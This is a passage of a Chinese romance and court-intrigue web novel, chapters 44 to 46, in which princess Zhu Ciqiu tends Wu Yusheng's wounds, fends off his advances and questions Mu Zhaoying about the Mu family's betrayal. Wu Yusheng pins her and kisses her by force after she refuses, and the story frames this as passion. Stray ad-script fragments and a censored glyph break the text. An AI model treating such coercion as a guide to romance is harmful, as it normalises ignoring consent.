分明那一侧的脸颊都被揪的红肿不堪,可乌玉胜却丝毫不见痛意,甚至嘴角都固执的扯出一抹笑意。朱辞秋见状,冷笑一声后猛地放下手,不想再与他言语。 两人就这般僵持着,只是还未片刻,乌玉胜放下紧攥着她手腕的手,只是放在她腰间的那只手却将她搂得更紧。 他垂下眼,突然开口:“我不该这般说。” “如此污言秽语,不该对殿下说。”乌玉胜看向朱辞秋,说完这句话后又弯下腰,垂着头想要靠在她的肩膀上,却又只是凑近在她耳侧,用额头抵着门,“我只是,不想听见殿下说这句话。” 乌玉胜的碎发扫过她的脸颊与耳侧,她觉得有些痒,于是便伸手想要推开这颗大头,可耳畔闷闷的声音,让她的手僵在半空。 “我再也不说了,殿下,不要讨厌我,不要再讨厌我。” 她并未言语,乌玉胜又道:“如今乌图勒野心愈发大,他任由我将朱煊贺的探子铲除,为的便是让朱煊贺再也摸不清南夏的底细。我必须在他们彻底决裂前,完全掌握南夏王族兵权与部落势力,到那时殿下有南夏助力,自然能风风光光地归国,彻底肃清大雍毒瘤。毕竟,离了南夏,朱煊贺的兵力不足为惧,而穆伯鸣,他的穆家军早已残废,更是不值一提。” “殿下,我全都和盘托出了。不要讨厌我了,好吗?” 朱辞秋沉默须臾,攥住自己的衣摆,平淡开口:“乌玉胜,你还不明白吗?” “喜欢一个人,就要先尊重她的所有。我曾尊重你的所有决定,希望你也能尊重我。” “殿下,”乌玉胜忽然抬头,眼底的光愈来愈亮,“是还喜欢我吗?” 她抬眼看向乌玉胜,就像在看被抛弃已久却仍渴望温暖的恶犬,嘴角扯动一瞬又迅速恢复原状,她并不回答这句话,只说道:“朱煊贺从一无所有的蜀地,死里逃生般回到燕京,靠的可不只是南夏。”朱辞秋顿了顿,继续道,“乌图勒是他的机遇,但却不是唯一的机遇。” 乌玉胜在她说话间便时不时皱下眉,嘴唇变得更加惨白,额间的细汗越来越密,从嘴里说的话的声音也愈来愈小,“果然什么都瞒不过殿下……” 他的话还未说完,便骤然倒在朱辞秋肩上。朱辞秋见状,眼疾手快地按住了他肩膀,又将他的头扶好,好让他不摔倒在地上。 但乌玉胜块头太大,她一个人承受不住他的重量,只好让背紧贴着门,用另一只手按在他的后背处,一面摇晃一面喊着:“起来,你太重了!” 乌玉胜毫无反应,似是晕厥过去了。她的手拽着他后背的衣物,手心忽然感觉到一股温热的液体。 那股液体愈来愈多,很快便浸满手心,从指缝滴落在地上。 朱辞秋看不见手心的液体,却能闻见那股液体的味道。 是血。 44.第四十四话 朱辞秋用手轻按住背部的伤口,想要先替乌玉胜止血,可那些伤口仍不停地往外渗血,屋内的血腥气也愈来愈重。 她抬起手,侧眼看向满手的鲜血,轻声呢喃道:“你还真是不怕死。” 从铁木修的住所到天神山脚下,十余日的脚程。想必乌玉胜在能下地后,便几乎日夜不停地赶路,只为追上她与诃仁。 一百道倒刺鞭伤,将乌玉胜的背打得血肉模糊,鞭伤深可见骨,就算铁木修的药再好,也抵不住他这般折腾。 朱辞秋很想骂一声活该,可满是鲜血的指尖却在微微发抖。她肩膀被压得生疼,也拖不动乌玉胜,若将门打开,她与他皆会摔倒在地上,只怕乌玉胜那些被缝好的伤口便又要裂开。 于是她只好朝外大喊:“诃仁!” 忽然埋在她肩头的男人动了一下,他用手抵住门,缓缓抬起头,与她拉开一些距离。 乌玉胜面容憔悴惨白,额间的碎发已被汗渍浸湿,紧紧贴着额头。他看向她,搂住她腰间的手缓缓放下,咬着牙,费力地从怀中掏出一个小白瓷瓶。 “回转丹……解药。”乌玉胜将手中的小白瓷瓶递给她,却侧头看见了她手心里的血渍,颤抖着说出一句话,“弄脏殿下了。” 她皱着眉,再次按住乌玉胜背部的伤口,突如其来的动作叫乌玉胜吃痛,不自觉地“嘶”了一声。 “你装晕。”朱辞秋一只手接过解药,又冷着脸问,“伤药呢?” 乌玉胜这才从怀中掏出两个红色小瓷瓶,他将小瓷瓶紧攥在手中,“我会去找诃仁替我上药,殿下,不必担心。” “我担心什么?”朱辞秋冷笑一声,将按在他背上的手放下来,又用他的衣摆擦了擦满手的血。 既然乌玉胜有精力装晕看她作何反应,看来还是伤得不深。她实在不明白,乌玉胜为何一直都执拗地想要试探她对他的感情。 七年相伴光阴不假,如今困境也是真的。乌玉胜总想要她说些什么,仿佛只要她说了什么,他便能立马回到当初的模样,不再执拗偏执。 可她该说些什么呢? 她看向乌玉胜,忽然轻声一笑,像是在讽刺他,又像是在讽刺自己。她钻出乌玉胜的怀抱,背对着他,开口道:“若还有下次,我只会补你一刀,再说一声活该。” “不会了,没有下次了。”乌玉胜闷声开口,她听不出这句话的情绪,也不想深究这句话的深意。 “可我方才,是真的疼。”乌玉胜转身拉着她的衣角,不让她走。他语气有些委屈,背上的伤口让他说出的话添了一分颤音,“是我活该。在我知道这一切后,就该亲口告诉殿下。在我第一次遇见殿下时,就该告诉殿下,我的身世。” “现在说这些有何意义?”她顿了顿,“你我都不要再执着于当年之事。” “我不明白……我偏要执着。”乌玉胜凑近一步,“当年殿下是为救我才将我推入悬崖,可你也从未对我说起过此事。我九死一生,醒来后也恨过殿下,所以每每看见殿下时,都想将殿下一直绑在我身侧,哪里都不准去。这几年,我一直想质问一句,为何不同我说,为何叫我痛苦地过这几年。” 这一番话,叫朱辞秋沉默一瞬。她转过头,看着乌玉胜低垂下来的双眼,“因为我从不认为,这是在隐瞒你。” 她与乌玉胜的视线交汇一瞬,心中那些本以为再也说不开的话,说不出口的话在这一瞬间,倾泻而出,“从牢狱到断崖,骑马半个时辰,你从未主动提及自己的身世。我是个睚眦必报的人,你骗了我,我当然要报你欺瞒我七年之仇。” “我是救你,但也是穆东风在救你。若不是他,我不会知道牢狱之中有密道,不会有半个时辰的时间送你到断崖。我不知他为何助我,但我救你,也只为那七年的相识。从你坠入断崖的那一刻,你的生死就再与我无关。” 乌玉胜眼神一黯,轻声开口:“殿下,你撒谎。” “我没有。”朱辞秋看着他,嘴角勾起一抹笑意,“所以不论你如今如何试探我,我永远都只有一个答案,那便是你的生死与我无关。除非——” 乌玉胜追问:“除非什么?” 她掀起眼皮,眼中露出笑意,“你助我回大雍,你我便是同盟。既是同盟,你的生死自然会与我有关了。” 乌玉胜眼神愈发凌厉,苍白的脸色都不能挡住眼底的冰霜,可那冰霜却又在看见她眼中笑意的一瞬间化开,“殿下不早已知道了吗?我既然带你来了此处,便不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会再阻止你,也不会将你困在我身边。你我如今,不算是同盟吗?” “我只是,想听殿下说一句话。” 朱辞秋转过身,面对着乌玉胜往后退了一步,乌玉胜松开手,跟着她的步子亦往前走了一步。她挑了挑眉,眼神仿佛在说:你想听什么话。 “殿下,让我陪你回大雍。”乌玉胜却不明说,他难得地一笑,鼻梁右侧的小痣再次映入她眼帘,她好像很久,都未曾注意到这颗她曾最喜欢的痣。只听面前的男人又道,“我陪殿下回去,替殿下挡住那些牛鬼蛇神。” 她看着乌玉胜那双深棕色的眼眸,沉默一瞬,道:“我不会拦你做任何事。” 话音刚落,屋外忽然响起一阵声音,似是诃仁与穆照盈回来了。 诃仁敲了两下门,大声道:“别腻歪了你们俩,快开门!” 朱辞秋闻言,不再与乌玉胜纠缠,率先越过仍愣在原地的男人,打开了门。 “你们大雍,派人来了。”诃仁手中拿着一封信,在她面前晃了晃,“如今已经到了王都。” 她抽走诃仁手中的信,打开略看了两眼。 大雍如今每年都要向南夏上贡,今年的贡品已到了王都。而押送贡品的官员,也是她所熟悉之人。 是那位最年轻的兵部侍郎,顾霜昶。 如今她想知晓的一切都已基本知晓,她不必再在这里耽搁下去,她必须马上回到王都,借此机会,让顾霜昶助她一臂之力。 或许有了他的助力,她能更早回到大雍。 朱辞秋不知如今大雍情况如何,她父皇朱煊安病重,朱承誉监国。一切与十一年前是如此相像,她怕过不了多久,朱煊安便会病逝。 思及此处,她忽然顿在原地。顾霜昶来的时机,未免太巧了些。 “你吃饱了吗?”朱辞秋看向诃仁,问了一句。 诃仁有些不明所以,“什么?” “我与你们同盟,现在,带我回王都。” 诃仁觉得奇怪,侧头看了眼屋内的乌玉胜。 “看他做甚,如今能说话的是我。” “不是,他要死了!”诃仁横眉冷对,迅速越过朱辞秋走入屋内,朝着她大喊道,“你为何不替他止血!” 45.第四十五话 晨曦微光透过木纱窗明晃晃地照进屋内,照在朱辞秋身上,就像是给她镀了一层金黄的光。 乌玉胜站在她对面,深深地看着她。他忽然微微抬手,修长的手指伸进照进屋内的光里,在光中触碰到朱辞秋落在肩头的黑发,却又在碰到的一瞬间迅速收回手。 他看了眼自己的指尖,不知为何笑了一声,又看向她,朝她走了一步。 此时他们之间的距离近在咫尺,同沐在晨曦下。乌玉胜低头看向她,握住了她垂在衣侧的手,将她的手放在自己心口,紧紧贴着。 朱辞秋的掌心骤然感受到乌玉胜健硕胸膛下,那颗跳动的心。一下、又一下,在她恍然间,突然撞进她心底,又泛起了涟漪。 她看着乌玉胜,按在他心口的手指蜷缩了一下,又被他紧紧抓住,贴得更紧。男人的目光愈发炙热,心跳声也加快了许多。 “殿下果然还是关心我的。”乌玉胜神情柔和,连眉梢都俏动一瞬,看起来开心极了。 听见这句话,朱辞秋这才抬首,淡淡地看了一眼他,却又愣在原地。她指尖感受着来自乌玉胜的情绪与心跳,眼睛看向他嘴角的笑时,心头忽然不自觉为之一颤。 就像有人经过她心尖那片寂静的湖泊,在湖畔搭了一间温暖安逸的木屋,发誓要一辈子住下去。 她盯着他半晌,终于反应过来,猛地抽走被他握住的手,往后退了一步。乌玉胜毫不示弱地与她对视。他一面紧紧盯着她,一面毫不费力地将上衣褪至半腰,露出结实有力却又满是伤痕的上半身。 他就这样裸露着上半身站在她面前,一动也不动。 朱辞秋再度掀起眼皮,只一眼便看见了乌玉胜心口那道狰狞的伤口。她不动声色地上下打量一番,看见乌玉胜腹部还有道一指长宽的疤痕。想来那便是她被关在王帐时曾看见过的伤口,也是乌玉胜曾自己刺自己的地方。 “疼吗?” 不知为何,她看向乌玉胜那双深棕色的眼眸,突然开口问了一句。话一出口,她才惊觉自己又没管住自己。 只是看着这些伤,看见穆照盈的游记与穆伯鸣写给她的信,想到了十一年前被穆照盈骗至寒城的乌玉胜,那时他才十二岁。从霞山谷到寒城,数月路程,一路风雨交加,更有无数豺狼虎豹,他就这样一个人,无依无靠地来到了穆伯鸣身边。 他一直都知道穆伯鸣是他外公,以为穆家也是他的家。到头来,穆家却从未将他真正当作穆家人,他只是,那些计划中一颗微不足道的棋子。 穆伯鸣最后金蝉脱壳,可他却锒铛入狱,若又因为他是穆照盈的儿子,所以不会叫他真的身首异处,横尸荒野。但那般活下来后,却也彻底如鬼魅一般,只能活在黑暗中,见不得光。就像如今的穆伯鸣与朱煊贺般,活在假面之下。 后来他回到南夏,又得知自己曾守护的一切全是假象,十三州早就在他入寒城的那一刻,就已注定成为南夏之物,而他自小便尊敬喜爱的母亲,曾亲手推动了这一切。 乌玉胜似乎察觉到她的目光,又往前走了一步。他垂眸低首,抬起手触碰到她脸颊一侧,指尖不自觉地摩挲着肌肤,语气轻柔又缓慢,好似在安慰她一般,“殿下,我不疼。” 朱辞秋回过神来,偏头躲开了那宽大冰冷的手掌后,坐在床边,朝他伸出手,冷漠道:“药。” 被躲开后的男人将腰间的两个红瓷瓶拿了出来,他弯腰将瓶子轻放在她手中,却并未立马趴在床上,而是将床上的那件外套拿了起来,重新披在朱辞秋身上。 “林中露重,殿下身体不好,就不要脱衣裳了。”乌玉胜的手掌在她肩头摩挲了几下,才终于不舍地离开她身侧。 他趴在坚硬的木板床上,动作间,木床发出吱呀的声音,朱辞秋顺着声音往身侧看了一眼,乌玉胜后背上那些渗着血的伤口触目惊心,竟毫无一丝被包扎过的痕迹,伤口就这样暴露在空气中,血腥味扑面而来。 在看见这厮完□□露的上半身时,她只看见心口与腹部的伤口,一时走神,竟未曾想过,为何他受了这般重的伤,却连一层纱布都不曾裹在伤口处。 乌玉胜双臂交叠,将头垫起歪向她。他顺着她的视线往自己背上看了眼,沉默一瞬后,忽然道:“我来的路上,在换药时曾遇雪狼,与其缠斗了一番。” “我去打水。”朱辞秋闻言,只是皱了皱眉,随口说一句后便将外套穿好迅速走了出去,欲往穆照盈的院子里去打两盆温水,寻几块干净的纱布来。 可在开门后,便瞧见穆照盈拎着一个医箱,诃仁左右手各举着一盆温水站在门口。 “方才见殿下走得急,便替殿下拿了这些东西过来。”穆照盈将医箱放在地上,眼神时不时地望屋内瞥去,她看着朱辞秋,有些小心翼翼道,“阿胜他……怎么样?我并非不关心他,只是……” 朱辞秋此时并不想听穆照盈再说些什么,对她来说这些说辞,全是为那些不作为而找的借口。 她弯腰抱起医箱,道了声谢,冷淡地打断穆照盈的话,又看向诃仁,用下巴点了点此处的地,开口道:“水放这里即可。” 言罢,她转身便走。 身后诃仁张口喊了她一声,却被穆照盈拉住胳膊制止,她听见穆照盈轻叹了一口气,无可奈何道:“罢了,罢了。” 回到屋内,乌玉胜此时倒十分乖巧地趴在床上,即使听见了屋外的响动,也不过问她屋外之事。 待她将两盆温水都端入屋内后,屋外的诃仁与穆照盈也已离去,她抬眼看向穆照盈的屋子,扶着门框的手用力一瞬便又卸下力气,轻手轻脚地关上门。 木纱窗正对着床,日光照入屋内,整间屋子显得敞亮无比。她从医箱中取出一块干净的纱巾,放入温水中浸湿后拧成半干,又从一旁拖了个木凳放在床边。 她坐在木凳上,手上拿着半湿的纱巾,小心翼翼地一点,一点地擦干净乌玉胜背上的血渍。很快,血渍便将整块纱巾浸染。 将血渍擦干净后,乌玉胜背上那些狰狞的伤口,显得更加狰狞。有几处深可见骨的伤口现在都往外冒着血。有一些黏腻的伤口边缘,本都好得差不多了,却又似乎因为被大力撕扯了几下而红肿冒血,叫皮肉都有些外翻。她估摸着那是方才他脱衣时不管不顾而留下的伤口。 她一直紧抿着唇皱着眉,指尖颤抖,却又不停地擦拭着伤口。乌玉胜也一句话都未说,只歪着头看着她,好像怎么也看不够她。 好不容易将伤口都清理干净了,朱辞秋拿出了那两瓶伤药,将瓶中的粉末尽数倒在伤口上。 想来这药烈性极大,叫乌玉胜痛苦地闷哼一声,额间的汗瞬间如雨下,连身体都不自觉紧绷。 “我小时候……”乌玉胜咬着牙,却看着她,忽然开口,说起了很久之前的幼年往事,“很少见到乌图勒,一直是她将我带在身边。” 朱辞秋没有接话,只是默默地替他处理伤口。她知道,乌玉胜口中的那个“她”,指的是穆照盈。 乌玉胜好似也知道她并不会叫他继续往下说,便自顾自道:“她和他们长得都不像,我也不像。很小的时候,我便没有玩伴,他们叫我大雍狗,说她是歹毒的细作,将她称作大雍来的贱女人。即使暗中有乌图勒护着她,但南夏很多人,都瞧不起她。” “她教我中原话,告诉我,她想回大雍,可怎么也不回去了。她当然知道,因为自私地相信一个南夏首领的话,抛弃了大雍的亲人,为敌首生儿育女,如果回去,会让整个穆家背上叛国之名。” “她说,大雍也是我的家。”乌玉胜垂下眼,朱辞秋看不清他眼中的情绪,只能听见他声音沉闷,缓缓道出一句,“她回不去,所以希望我能替她回到大雍,见一见族人。” 朱辞秋垂首,在他说话间,从一旁的医药箱里翻找着纱布,动作愈发着急,医药箱里的瓶瓶罐罐被碰撞地发出一阵又一阵乒里乓啷的声响,她终于找到了纱布,乌玉胜也说完了这一段话。 乌玉胜坐起身,面朝着她,将双手打开,眉头高高挑起,嘴角勾起笑容,一副任君采撷的模样。 她看着这厮的动作,忍不住轻呵一声,将手中的一卷纱布扔在他怀里,“自己包。” “可我看不见后面。”乌玉胜道。 “怎么?”朱辞秋站起身,居高临下地看着他。她伸出食指,挑起乌玉胜的下巴,让他仰起头看着她,“荒郊野外都能自己解决,如今却不能了?” “如今有殿下。”乌玉胜心甘情愿地被她这样挑着下巴,甚至还往前蹭了蹭,“这是殿下第一次为我包扎。” 她猛然松手,粲然一笑,如春日阳光般和煦,“我想早日回王都见顾霜昶,你自然不能出事。” 乌玉胜嘴角的笑僵在原地,很快便完全消散,他坐直身体,双腿沾地,突然拽住她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的衣袖,将她猛地往前一拉。 朱辞秋被他打了个猝不及防,整个人被拽进他怀中,纤细的腰肢被那双大手紧紧搂住,下半身也被乌玉胜用双腿紧紧夹住,动弹不得。她就这样被迫站在他怀中,漠然又冷淡地俯视着他。 如果可以,她一定会打他一巴掌。但看见他后背的伤,看见心口与腹部的伤,就连手心似乎都还能感受到那跳动的心,就像现下他抬着头,她能感受到的,那缓慢又平稳的呼吸声。 他们互相对视,不发一言,呼吸缠绕在空中,不分彼此。 不知过了多久,寂静的房间,分明没有一丝取暖之物,乌玉胜的耳尖却忽然染起一丝薄红,搂住她腰的大手又收紧几分,将她再度往他身上推近几寸。 乌玉胜看向她,呼吸忽然变得短促粗重,就连心跳都加快几分,双手紧紧捏着她腰间的衣物,连双腿都不安分地蹭着她,又晃动几分。 朱辞秋感受着一切,浑身上下起了许多鸡皮疙瘩,周身血液仿佛被乌玉胜带动地活络起来,让她浑身充满了陌生的燥热感,就连心跳都如乌玉胜那般漏跳几瞬,呼吸声也愈发急促。她觉得这样的感觉很陌生,这让她变得不像自己,她想要迫切逃离,挣扎着却又被禁锢得更紧。 “殿下,你也并非、没有感觉,不是吗?” 乌玉胜仰起头,几乎要将她揉进自己骨血中。他声音粗重,呼出的气带着浓烈的浊气,身上的气息似乎要随着这句话将她淹没。 朱辞秋轻呼出一口气,垂下眼,恍然间顺着乌玉胜的锁骨往下,便见他被腰间衣物遮住的地方,似乎有了异样。 眼之所见,身之所感,让她不由得怔住一瞬。 反应过来后立马抬眼看向乌玉胜,眼中闪过震惊,挣扎着想要逃离他的怀抱。但乌玉胜双手又紧扣一分,紧紧搂着她的腰,甚至主动往前蹭坐一下。她隔着两人之间并不厚重的衣物,感受到令人陌生、颤栗的、又带着些温暖的东西。 朱辞秋多动一分,感受便愈深一分。她被迫僵在原地,死死盯着乌玉胜,眼尾染上一丝薄红,似有怒气。唇齿轻启,声音透出些颤音来,只说了三个字:“你,放肆!” 但周遭在这样的拥抱与动作下,骤然迅速升温,男人听见这话后,越发粗重的喘/息声扑面而来,叫朱辞秋慌了神。她用双手抵住乌玉胜的肩膀,试图推开两人之间的距离,却撼动不了一点如今处境,只好紧蹙眉,压下心中的慌张与异样,冷声开口:“放开我!” “我们、成亲了的,殿下。” 乌玉胜却将脸贴在她的手腕处,缓缓摩擦着,男人湿热的呼吸与薄而柔软的唇,透过手腕间的衣物贴向她的肌肤,连着那被迫感受到的陌生之物,一同让她浑身战栗。奇怪的感觉让她指尖一蜷,不自觉抓紧乌玉胜的肩膀,就连腰身都忽然往前倾了一下。 她骤然愣在原地,有些不知所措。她毫无知觉地皱着眉,如画的眉眼露出一丝从未有过的情绪,就像是清晨带着雨露突然绽放的花朵,此时的朱辞秋多了一丝明艳与说不清的暧昧。 乌玉胜贴着她的手腕,抬起眼皮,眼中的情欲在看见她面上表情、感受到她的动作时,全部迸发倾泻而出,彻底裸露在她面前。 他深吸一口气又呼出一口浊气,就这样一下、又一下地让她手腕一热,又不自觉地抓紧他的肩膀,蜷缩住手指。 他们现下都已全然不像平时的他们。 只见乌玉胜仍抬着眼皮,朱辞秋半垂下眼,与他对上视线。有人甘愿自堕其中,有人排斥又迷离。可无论如何,那些说不清道不明的情欲在视线交汇的半空中炸成烟火,一触即发,似乎就要将二人淹没在绚烂又陌生的感觉中。 乌玉胜声音魅惑,低沉又粗重地开口:“殿下。” 话语没有下文,他只紧紧搂住她的腰,宽大的手掌隔着衣物摩挲着,将她往自己怀中带。 衣物交叠纠缠,朱辞秋感受到来自乌玉胜的欲望愈发强烈。她的呼吸不受控制的加重几分,虽极力克制,仍无可避免地泄出几分不可言说的浊气。 呼吸声互相缠绕着,在耳侧轰然炸开。垂眼间,看见乌玉胜一直抬着头,放肆又痴迷地看着她。 她有些站不住了,头脑也开始有些不清醒,眼神也愈发迷离起来,渐渐起了些水雾。分明很不喜欢很不习惯这样的感觉,但熟悉的青草气息却又让她深陷其中,就要无法自拔。 46.第四十六话 乌玉胜搂着她,让她不彻底瘫软倒在他身上。她微弯着腰低着头,听见他一字一顿,十分缓慢地在她耳畔说了一句:“臣帮殿下一解忧愁,逍遥半刻,可好?” 温热的气息吐在她耳侧,让她觉得有些痒。屋内缱绻旖旎,眼前人的情绪毫无保留地展露在她眼前,让她看清了来自乌玉胜、也独属于乌玉胜的,嚣张又放肆的情感。 他微微皱眉,紧紧搂住她,仰着头认真地询问,眼中摇曳出的欲望冲破了一切阻碍,赤裸裸又明晃晃地告诉朱辞秋:他想这样做,想得要疯了。 朱辞秋看着那双熟悉的眼眸,里头的情绪却是她从未见过的浑浊欲望与渴求。她脑中忽然清明一瞬,缓缓抬手,用食指点了点乌玉胜鼻梁右侧的小痣,又轻轻摩挲打着圈,这让眼前的男人双腿夹紧,身体愈发往前凑。 她用另一只手撑着他的肩膀,放下手低着头,凑近乌玉胜,与他额头抵着额头。乌玉胜仰起头,蹭着她的鼻尖,两人喘息声交贴在一起。男人苍白又柔软的薄唇若有若无地蹭向她唇边,他鼻尖呼出的热气扑在她脸上,让她不自觉握拳,指尖微微颤抖着。 “可以吗?殿下。”乌玉胜好似再也忍不住般,健壮的双臂将朱辞秋搂住,大腿卡在她两腿间的缝隙处,往上顶了顶,触碰到她后却又立马放下来,不敢再行一步。他祈求般望向她,双眼迷离又渴望她,语气也飘忽如喝醉般,“坐在这里,好吗?” 朱辞秋此时也并未好受多少,她早前曾在大雍好友给她的话本中,读到过这样的类似之事,那些男女之事她并非完全不懂。在很早之前看到那话本后,初启蒙时,她也想过这样的事,跟喜欢的人做会怎样,是否真如话本所言,妙不可言。 她已经忘了当时想到时的感受了,只记得心中似有一团被纸包住的火,那纸被人揉捏成褶皱,牵动了全身,而被包住的火焰随着那些褶皱蔓延向心底,流向四肢,让她霎时红遍全身,犹如被煮熟般。 现下这样,她其实,并不排斥。但尚存的理智也在告诉她,不能再继续下去了,这样只会叫他们越陷越深,无法自拔。 但她这样看着乌玉胜,看着她曾无比喜欢的人的眼中,充满了因她而产生的欲望与杂念,自己心中的情愫似乎也要冲破堆砌的高墙,倾泻而出。 她突然看见被放在一旁的纱布,看清乌玉胜苍白的唇后,想起了她拉着他到此屋中,究竟是来做什么的。 朱辞秋瞬间冷静下来,她并不回答乌玉胜的话,只是主动伸手,捧住了他微烫的脸颊,拇指摩挲几下肌肤,柔软的嘴唇如蜻蜓点水般触碰到男人的唇,又迅速分离。 这是她现下想做的、能做的,唯一一件放纵之事。可就连这样的主动,都带着些算计在里头。 乌玉胜似乎未曾料到她会突然如此,一时间僵在原地,连呼吸都停滞了般。 她放下手,直起腰,在乌玉胜愣住的间隙猛地挣脱了他的束缚,如愿以偿地离开了那温暖的令她差点意乱情迷的怀抱。 “不需要。” 朱辞秋整理好心中情绪,恢复成平日的模样后,这才冷淡开口。只是看向坐在原地盯着她的乌玉胜时,视线不自觉掠过他的唇,反应过来后又迅速移开,理了理有些褶皱凌乱的衣裳,欲往外走。 屋内旖旎霎时消失殆尽,只余些许热气飘散在半空,随着乌玉胜猛然站起身的动作朝她扑面而来。 “殿下。”乌玉胜大步向前拽住她的手腕,将她逼至墙角。他用手指轻轻摩挲着她的唇,一下又一下,忽然低头想要做些什么时,朱辞秋偏过头不欲与他对视,却被乌玉胜捏住下巴,再度偏回了回来。 “殿下,为何要主动亲我?” 乌玉胜似乎很喜欢与她蹭鼻尖,就像狗一样。他蹭了几下,又道,“殿下为我疗伤,我自然要报答殿下。这次,换我主动,可好?” 她平淡地看了他一眼,仿佛方才那些缱绻都是假象,“怎么?我主动,小少主不满意吗?”视线往下移了移,勾唇一笑,“如今可清醒了?” 乌玉胜闻言,愣住一瞬,再抬眼时,眼中情意缓缓褪却,露出了惯有的恶劣,“只是为让我清醒,带你去见顾霜昶?” 朱辞秋皱了下眉,不明白为何他突然提及顾霜昶,转念一想,忽然又有些明了,觉得面前这个男人幼稚地可笑。 可还未说话,便见他舔了舔嘴唇,拇指轻轻划过她的唇,停留在唇角处。未等她反应,乌玉胜便捏着她的下巴,强迫她仰起头,本就近得连心跳都能听清的距离再度拉近。 男人薄而冰冷的嘴唇骤然覆在她唇上,撬开了她微张的唇,将她所有话语都堵在口中。 朱辞秋愣怔一瞬后立马握手成拳,猛地打在面前男人裸露的胸膛上,却又被他另一只手狠狠攥住,令她一刻都动弹不得。 柔软皮肉的温度霎时相触,乌玉胜在唇舌相连间,肆意掠夺着她,连牙齿都在挣扎间碰撞在一起。 他将她抵在墙角,放肆又霸道地亲吻着,与那些被压下又冲出的缱绻情意一同,几乎让她无法呼吸。 直到她猛地咬住乌玉胜的下唇,叫情深无法自拔的男人吃痛,微弱的血腥味蔓延进唇腔。他睁开眼,看向眼尾有些薄红的她,眼中闪过一丝慌张,却又转瞬即逝。 朱辞秋冷冷地盯着他,一动也不动。乌玉胜缓缓停下了动作,放开了她,一面擦着嘴角的血一面往后退向床边,拾起床边的纱布后,背对着她,道:“殿下,你先出去吧。” “乌玉胜,”她摸了摸自己微肿的嘴唇,看向乌玉胜,见他故意将背上刚敷好的伤口转向她面前,忍不住带着些脾气地轻笑一声,“你跟谁学的这些?” 乌玉胜背一僵,却不说话。 她走至门口推开门前,又道:“我叫你清醒,不过是想叫你顾惜自己,将伤口包扎好。你若因此死了,再多的狗脾气,都只能跟阎王爷发。” 言罢,便不再逗留于此,木门迅速“吱呀”一声,她大步走了出去,又用力关上了门。 出了木屋,她身上沾染的那些乌玉胜的气味便随着微风飘散在空中,又吹入她鼻尖,让她不自觉摸向自己的嘴唇,又在想起方才两人在屋内的模样后,摇头冷笑一声,不知是在嘲讽自己还是在嘲讽乌玉胜。 站在原地整理好情绪后,她才往穆照盈的木屋所去。 主屋的门半掩着,屋内只有穆照盈一人,朱辞秋站在门口敲一声门,不等穆照盈出声便将半掩着的门打开。她站在门槛之外,不往里走,只看向坐在对面主座的穆照盈,问了一句:“此处的守卫,可是乌图勒的人?” 穆照盈似乎看见她面上的异常,不由得坐直身子,眼神在她微红的嘴角停留一瞬又迅速移开,复看向她毫无波澜的双眼,轻轻点了点头。 朱辞秋又问:“整个南夏,知道你在此处的人有多少?” 穆照盈想也不想,回答道:“霞山谷内,唯有铁木修。谷外,除却乌图勒的那些王族亲兵与阿兰阿胜,便再无人知晓。如今我在世人眼中,早已是死尸一具。” 朱辞秋看了她一眼,不发一语。她已无问题想要问她,于是转身便往外走。但穆照盈却忽然站起身,往前走了两步,又张口叫住她,“殿下!” 朱辞秋脚下步子顿了顿,还是停住了,她扭头看向穆照盈,问道:“还有何事?” “穆家——” 她皱了下眉,猛然抬高声音,出声打断了穆照盈的话,“穆夫人,你们穆家对不住的从来都不是我。“ “你们对不住的,是十三州的百姓、是那些拼命守护着国之疆土的将士、亦是那些一直信任穆家,信任穆老将军的世人。” 她冷眼看着穆照盈,缓缓开口道:“在燕京时,常有人以书信传与我,同我讲穆夫人的父亲是如何骁勇善战,用兵如神。后来我入山门关,也从那些人口中听过几句他的事迹,心中对他更是尊敬至极。” “他曾经,确实是个好将军。年轻时他曾在荒原漠土上,与皇室宗族誓血为盟,要护大雍一世,非死不得悔。”穆照盈垂眼,轻叹了一口气,“可后来若非陛下苦苦相逼,欲置穆家于死地,他也不至于为了一条生路,铤而走险,与虎谋皮。” “以十三州换你穆家一条生路,”朱辞秋顿了顿,“你们穆家,当真是金贵。” “殿下,普天之下,莫非王土。皇命不可违,不敢违。我们极少入燕京,就连京中的宅邸都早已破败腐朽,更遑论人脉?若我父被诬,无人会替我们辩白,等待我们的,唯有死路一条。”穆照盈眼中有泪,“若有其他路可走,谁又愿意出卖故土?” 她看着这个年近半百,身在异乡十余年的女人,并未升起些许同情之心,冷淡道:“是啊,谁的命,不是命呢?” 话音未落,屋外忽起了阵风,吹动两旁的竹树,四周安静得只剩下竹叶沙沙作响的声音,不远处花圃中的月季花随风飘着,掉了几片花瓣落入泥中。 朱辞秋站在台阶上,风吹动衣摆与发梢,抬眼看见穆照盈站在原地,神情似乎因这一句话而变幻莫测,嘴角不由得勾起一丝笑意,却又转瞬即逝。 “殿下说得对,谁都命不是命。”穆照盈抬眼,朝她欠身一礼,“穆家辜负了先皇的信任,辜负了十三州的百姓与将士。如今一切,将来死生,皆是我们咎由自取。我只希望殿下回到大雍后,看在我父曾与先皇誓血为盟,守了西北边塞半生的份上,能留我父全尸。” “穆夫人既知若有一朝东窗事发,穆家亦会万劫不复,那当年为何要送乌玉胜入局?”她微抬下巴,受了穆照盈这一礼,“信中所言,让乌玉胜入燕京,受京中四方掣肘,为穆家争取一线生机。可他不常在京,反而常在边塞。你们让他回大雍,究竟要做什么?” “殿下,不知道吗?”穆照盈似乎有些意外,她顿了下,继续道,“朱煊贺是,陛下一母同胞的亲弟弟啊。” “我也是后来才知道,他们是将乌玉胜视作我与,朱煊贺之子,引他入京的。至于为何如此,我却不知。” 朱辞秋一愣,又立马反应过来。 她父皇朱煊安,独断专行,受人挑拨仍不自知,昏庸至极,却又喜欢装出一副胸有成竹温柔和善的模样。想来他那位亲弟弟朱煊贺,也是十分了解他之人。 也因穆照盈此言,她愈发确定,顾霜昶来此的目的,绝不只是送贡品这般简单。 只听穆照盈苦笑一声,道:“我以为送他回去,就能救穆家,就能赎轻我的罪过。可我错了。如今,我的罪过再也赎清不了了。” 她看着穆照盈,突然想起游记上,尚是少女的穆夫人,为朱煊贺肆意屠戮流民而做出的举动,更因与民同悲同愤被朱煊贺困了半年之久。可后来,当家人生死烧在自己身上时,却再顾不得其他。 是啊,谁的命,都是命啊。 “殿下。” 